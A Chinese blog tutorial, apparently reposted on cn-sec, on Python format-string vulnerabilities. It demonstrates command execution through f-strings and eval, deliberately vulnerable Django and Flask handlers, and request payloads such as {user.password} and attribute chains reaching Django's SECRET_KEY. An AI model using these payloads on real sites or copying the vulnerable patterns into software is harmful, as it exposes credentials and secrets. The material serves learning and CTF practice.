python格式化字符串漏洞

admin 2022年1月6日01:40:59评论270 views字数 2671阅读8分54秒阅读模式

format格式化字符处只能读取属性而不能执行方法,可以用来读取一些敏感的信息,这里主要是关于format格式化的利用分析

格式化字符串方式

在 python 中,提供了 4种 主要的格式化字符串方式,分别如下:

%操作符

%操作符 沿袭C语言中printf语句的风格。

1
2
3
>>> name = 'LiMing'
>>> 'Hello, %s' % name
"Hello, LiMing"

string.Template

1
2
3
4
5
>>> name='LiMing'
>>> from string import Template
>>> t=Template('Hey,$name')
>>> t.substitute(name=name)
'Hey,LiMing'

format方法

后面为字符串对象增加了format方法,改进后的格式化字符串用法为

1
2
3
>>> name , errno = 'LiMing' , 50159747054
>>> 'Hello, {}'.format(name)
'Hello, LiMing'

一些用法

1
2
3
4
5
"{username}".format(username='LiMing') # 普通用法
"{username!r}".format(username='LiMing') # 等同于 repr(username)
"{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留两位小数
"int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制
"{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值

有漏洞的代码
在{0.xxx}.format(xxx)时,0是会被替代为format里的参数

1
2
3
4
5
6
7
config={'SECRET_KEY': 'secret'}
class User(object):
def __init__(self,name):
self.name=name
user=User('LiMing')
print('{0.__class__.__init__.__globals__[config]}'.format(user))
#{'SECRET_KEY': 'secret'}

f-Strings

这是python3.6之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。

1
2
3
4
5
6
>>> f'{__import__("os").system("whoami")}'
xttd-2020qzvjye\administrator
'0'
>>> a,b=2,4
>>> f'{a+b}:{a-b}'
'6:-2'

有了f字符串后,即使我们不闭合双引号,也能插入任意代码了

1
2
3
>>> eval('{"code":404,"info":f"This is {__import__(\'os\').system(\'whoami\')} message"}')
xttd-2020qzvjye\administrator
{'code': 404, 'info': 'This is 0 message'}

f字符的利用,还没遇到。

敏感信息获取

引用p师傅的文章Python格式化字符串漏洞(Django为例)

Django

格式化字符串导致的敏感信息泄露漏洞

1
2
3
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

控制了格式化字符串的一部分(email),将会导致一些意料之外的问题,如

1
http://127.0.0.1:8000/?email={user.pk}|{user.username}|{user.password}

python格式化字符串漏洞
user是当前上下文中仅有的一个变量,也就是format函数传入的user=request.user,Django中request.user是当前用户对象,这个对象包含一个属性password,也就是该用户的密码。
所以,{user.password}实际上就是输出了request.user.password

利用格式化字符串漏洞泄露Django配置信息

1
2
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Flask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request
app = Flask(__name__)
class veneno():
ven='hacker'
def __init__(self,name=None):
bb=veneno.ven
self.name=veneno.ven
return bb
@app.route('/test/',methods=['POST'])
def ven():
test = request.form['test']
return 'OK===>'+test.format(veneno)

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True)

在{0.xxx}.format(xxx)时,0是会被替代为format里的参数的
,在python中,init是在类中被用做构造函数,而globals则是全局变量,于是就可以去继承类的中的方法,以此类推

例题

百越杯Easy flask
SWPUCTF 皇家线上赌场
从两道CTF实例看python格式化字符串漏洞

参考文章:
从两道CTF实例看python格式化字符串漏洞
Python格式化字符串漏洞(Django为例)
python格式化字符串研究
python%20web之flask session&格式化字符串漏洞
Python String Formatting Best Practices

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:40:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python格式化字符串漏洞http://cn-sec.com/archives/722206.html

发表评论

匿名网友 填写信息